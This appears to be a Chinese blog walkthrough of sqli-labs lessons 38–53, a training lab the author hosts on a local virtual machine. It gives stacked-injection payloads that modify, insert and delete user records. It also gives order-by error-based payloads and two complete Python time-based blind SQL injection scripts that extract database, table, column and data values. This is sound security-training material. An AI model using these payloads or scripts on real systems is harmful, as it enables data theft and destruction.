【sqli-labs】 page-3 Less 38-53

发布时间 2023-12-08 22:20:04作者: kazie

堆叠注入

核心函数: mysqli_multi_query 函数

概念:执行多条语句(增删查改)

# 增删改查语法
# 增
insert into [表名](column1,column2,...) values (value1,value2,...)
# 删
delete from [表名] where 条件
# 查
select column1,column2,... from [表名] where 条件
# 改
# 修改值
update [表名] set column1=value1,column2=value2,... where 条件
# 修改字段
alter table [表名] change [旧字段名] [新字段名] [字段类型]	

# 多表联立操作
# 多表联立更新
update [表1] inner join [表2] set column1=value1,column2=value2,... where 表1.字段=表2.字段

由于 sqlilabs 关于堆叠注入没有明确的目标,不知道干啥。因此这里制订一下目标,加点难度

如果你也没啥目的,不如参考下列任务,前面 1-37 关都是查找操作,下面修改操作居多

关卡 任务
Less-38 修改 id 为 1 的密码
Less-39 增加 id 为 21 的账户为 qwerty 密码为 123456
Less-40 删除 id 为 1 的用户
Less-41 增加 id 为 1 的用户,账号密码与之前不同
Less-42 页面显示的信息是 username、password,改为 id、password
Less-43 将 id 为 1 和 21 的用户信息对调
Less-44 将所有用户的账户、密码对调
Less-45 将原 id 在 2-10 之间(包括2和10)的 id 全部改成 9420

如果操作错误导致数据库中数据全错怎么办,还记得做第一题之前的初始化数据库的操作吗

Less-38

任务:修改 id 为 1 的密码

有报错、有回显

我们知道 username,password 存储在 security 库的 users 表

修改密码

# 修改 id=1 的密码
?id=1';update users set password=1234 where id=1;--+
?id=1

需要执行两次,因为代码执行顺序:先查询 id=1 的信息,再修改

数据库

Less-39

任务:增加 id 为 21 的账户为 qwerty 密码为 123456

有报错、有回显

# 增加用户
?id=1;insert users values(21,'qwerty',123456) --+
?id=21

数据库

Less-40

任务:删除 id 为 1 的用户

有回显、无报错

# 删除 id 为 1 的用户
?id=1'); delete from users where id=1;--+

数据库

Less-41

任务:增加 id 为 1 的用户,账号密码与之前不同

# 增加
?id=2;insert into users values(1,'information','schema') --+
?id=1

数据库

Less-42

任务:页面显示的信息是 username、password,改为 id、password

有报错信息

首先,登录正确账号

username:admin
password:admin		
# 正确登录

确定正确账号密码后退出

id 与 username 交换位置(提交一次就行,提交两次的话 username 会全部变成 0,原因:一个是 int,一个是 char)

username:admin
password:admin';alter table users change id temp int(2);alter table users change username id varchar(20);alter table users change temp username int(2);#

退出,再次登录

username:admin
password:admin
# 错误

登录失败说明id 与 username 交换位置成功

username:1
password:schema
# 正确登录

看看数据库,id 和 username 对调

Less-43

任务:将 id 为 1 和 21 的用户信息对调

有报错

经过 Less-42 我们的正确密码变成,验证一下

username:1
password:schema
# 正确登录

将 id 为 1 和 id 为 21 的用户信息对调

username:1
password:schema');update users set username=22 where username=1;update users set username=1 where username=21;update users set username=21 where username=22; #

再次登录,错误,说明对调成功

username:1
password:schema
# 错误

对调后的账户密码

username:1
password:123456
# 正确登录

数据库,1 和 21 对调

Less-44

任务:将所有用户的账户、密码对调

无回显

经过 Less-43 我们的正确密码变成,验证一下

username:1
password:123456
# 正确登录

将所有用户的账户、密码对调

username:1
password:123456';alter table users change password passwd varchar(20);alter table users change username password int(4);alter table users change passwd username varchar(20);#

对调后的账户密码

username:1
password:123456
# 错误

对调后的账户密码

username:123456
password:1
# 正确登录

数据库

Less-45

任务:将原 id 在 2-10 之间(包括2和10)的 id 全部改成 9420

经过 Less-44 我们的正确密码变成,验证一下

username:123456
password:1
# 正确登录

将原 id 在 2-10 之间(包括2和10)的 id 全部改成 9420

username:123456
password:1');update users as table_1 inner join (select * from users limit 1,9) as table_2 set table_1.id = 9420 where table_1.id=table_2.id;#

再次登录

username:123456
password:1
# 正确登录,似乎没有变化,我们换一个账号登录
# 还记得我们的 admin 吗,原 admin 账户的账号是 admin,密码是 admin, id 是 8
# 现在用 admin 登录
username:admin
password:8

可以看见,被修改为 9420

数据库

堆叠注入到此结束,你绕晕了吗

order by 注入

users 表直接显示,这样没意思,security 库中有 4 个表,其中 users、emails 是有数据的,我们尝试获取 emails 的数据

Less-46

注意,参数变成了 sort,不在是 id

http://192.168.148.131:8080/Less-46/?sort=1

?sort=if(2<1,username,password)		# 可以看见顺序变了

payload

# 库
?sort=1 and updatexml(1,concat(1,(database())),1)

# 表
?sort=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)

# 字段
?sort=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='emails')),1)

# 值,由于一次显示不完,使用 limit 一个个显示
?sort=1 and updatexml(1,concat(1,(select email_id from emails limit 0,1)),1)

Less-47

'闭合,有报错

Less-48

?sort=if(2>1,sleep(1),0)	# 13 条数据,13 秒延迟

时间盲注脚本(技术有限,只能获取某张表的数据,无法做到获取整个库的数据)

import requests
import string
import time
# sqli-lab 在虚拟机上运行,192.168.148.131:8080 是我虚拟机 IP
url = 'http://192.168.148.131:8080/Less-48/'		# 改成你的 IP

# sql 特性:大小写不敏感
letter = string.ascii_lowercase + string.punctuation + string.digits+string.ascii_uppercase + '1234567'
index,key_index = 1,0	# 初始位

dic = {'database':['',True,{'name':'database()','From':'','where':''}],
       'table':['',True,{'name':"table_name",'From':"from information_schema.tables",'where':"where table_schema=database()"}],
       'column':['',True,{'name':"column_name",'From':"from information_schema.columns",'where':"where table_name='{table}'"}],
       'id':['',True,{'name':"id",'From':"from {table}",'where':''}],
       'email_id':['',True,{'name':"email_id",'From':"from {table}",'where':''}]
       }

keys = list(dic.keys())


def payload(name,From,where,index,i):
    if i == '+':i = '%2B'
    data = f"?sort=if(substr((select group_concat({name}) {From} {where}),{index},1)='{i}',sleep(0.02),0)"
    return data


while True:
    mark = True		# 标记,防止死循环
    num = 0
    # 获取第一张表的表名
    if dic['table'][1] == False:table = dic['table'][0].split(',')[0]

    # 代表 库、表、字段、值 全部获取完毕,打印输出
    if key_index == 5:
        database = dic['database'][0]
        print('\r',end='')
        for i in dic:
            print(f'[+] {f"your {i}" if i=="database" else f"all {i} in your {database} database" if i=="table"  else f"all {i} in your {table} table"}:{dic[i][0]}')
        exit()

    # 组装 payload
    for i in letter:
        num += 1
        if dic[keys[key_index]][2]:
            # 替换 payload 中的表名
            end = list(dic[keys[key_index]][2].keys())
            if '{table}' in dic[keys[key_index]][2][end[-1]]:
                dic[keys[key_index]][2][end[-1]] = dic[keys[key_index]][2][end[-1]].replace('{table}',table)
            elif '{table}' in dic[keys[key_index]][2][end[-2]]:
                dic[keys[key_index]][2][end[-2]] = dic[keys[key_index]][2][end[-2]].replace('{table}', table)
            # 获取 payload
            data = payload(*dic[keys[key_index]][2].values(),index=index,i=i)

        time_start = time.perf_counter()
        respond = requests.get(url+data)    # 获取页面代码
        respond = respond.text  # 解析成字符串类型
        time_end = time.perf_counter()
        # exit(data)

        if time_end -  time_start>0.2:
            dic[keys[key_index]][0] += i
            print('\r',dic[keys[key_index]][0],end = '')
            index += 1  # 下一位
            mark = False    # 防止死循环
            break

        if num>95:  #
            dic[keys[key_index]][1] = False
            index,num,mark = 1,0,False       # 重置
            key_index += 1
            break

    if mark:exit('错误')	# 防止死循环

Less-49

无报错

?sort=1'and sleep(1) and 1='1	# 13 条数据,13 秒延迟

时间盲注脚本(Less-48 改)

import requests
import string
import time
# sqli-lab 在虚拟机上运行,192.168.148.131:8080 是我虚拟机 IP
url = 'http://192.168.148.131:8080/Less-49/'		# 改成你的 IP

# sql 特性:大小写不敏感
letter = string.ascii_lowercase + string.punctuation + string.digits+string.ascii_uppercase + '1234567'
index,key_index = 1,0	# 初始位

dic = {'database':['',True,{'name':'database()','From':'','where':''}],
       'table':['',True,{'name':"table_name",'From':"from information_schema.tables",'where':"where table_schema=database()"}],
       'column':['',True,{'name':"column_name",'From':"from information_schema.columns",'where':"where table_name='{table}'"}],
       'id':['',True,{'name':"id",'From':"from {table}",'where':''}],
       'email_id':['',True,{'name':"email_id",'From':"from {table}",'where':''}]
       }

keys = list(dic.keys())


def payload(name,From,where,index,i):
    if i == '+':i = '%2B'
    data = f"?sort=1'and if(substr((select group_concat({name}) {From} {where}),{index},1)='{i}',sleep(0.02),0) and 1='1"
    return data


while True:
    mark = True		# 标记,防止死循环
    num = 0
    # 获取第一张表的表名
    if dic['table'][1] == False:table = dic['table'][0].split(',')[0]

    # 代表 库、表、字段、值 全部获取完毕,打印输出
    if key_index == 5:
        database = dic['database'][0]
        print('\r',end='')
        for i in dic:
            print(f'[+] {f"your {i}" if i=="database" else f"all {i} in your {database} database" if i=="table"  else f"all {i} in your {table} table"}:{dic[i][0]}')
        exit()

    # 组装 payload
    for i in letter:
        num += 1
        if dic[keys[key_index]][2]:
            # 替换 payload 中的表名
            end = list(dic[keys[key_index]][2].keys())
            if '{table}' in dic[keys[key_index]][2][end[-1]]:
                dic[keys[key_index]][2][end[-1]] = dic[keys[key_index]][2][end[-1]].replace('{table}',table)
            elif '{table}' in dic[keys[key_index]][2][end[-2]]:
                dic[keys[key_index]][2][end[-2]] = dic[keys[key_index]][2][end[-2]].replace('{table}', table)
            # 获取 payload
            data = payload(*dic[keys[key_index]][2].values(),index=index,i=i)

        time_start = time.perf_counter()
        respond = requests.get(url+data)    # 获取页面代码
        respond = respond.text  # 解析成字符串类型
        time_end = time.perf_counter()
        # exit(data)

        if time_end -  time_start>0.2:
            dic[keys[key_index]][0] += i
            print('\r',dic[keys[key_index]][0],end = '')
            index += 1  # 下一位
            mark = False    # 防止死循环
            break

        if num>95:  #
            dic[keys[key_index]][1] = False
            index,num,mark = 1,0,False       # 重置
            key_index += 1
            break

    if mark:exit('错误')	# 防止死循环

Less-50

同 Less-46

Less-51

'闭合,同 Less-47

Less-52

同 Less-48

Less-53

同 Less-49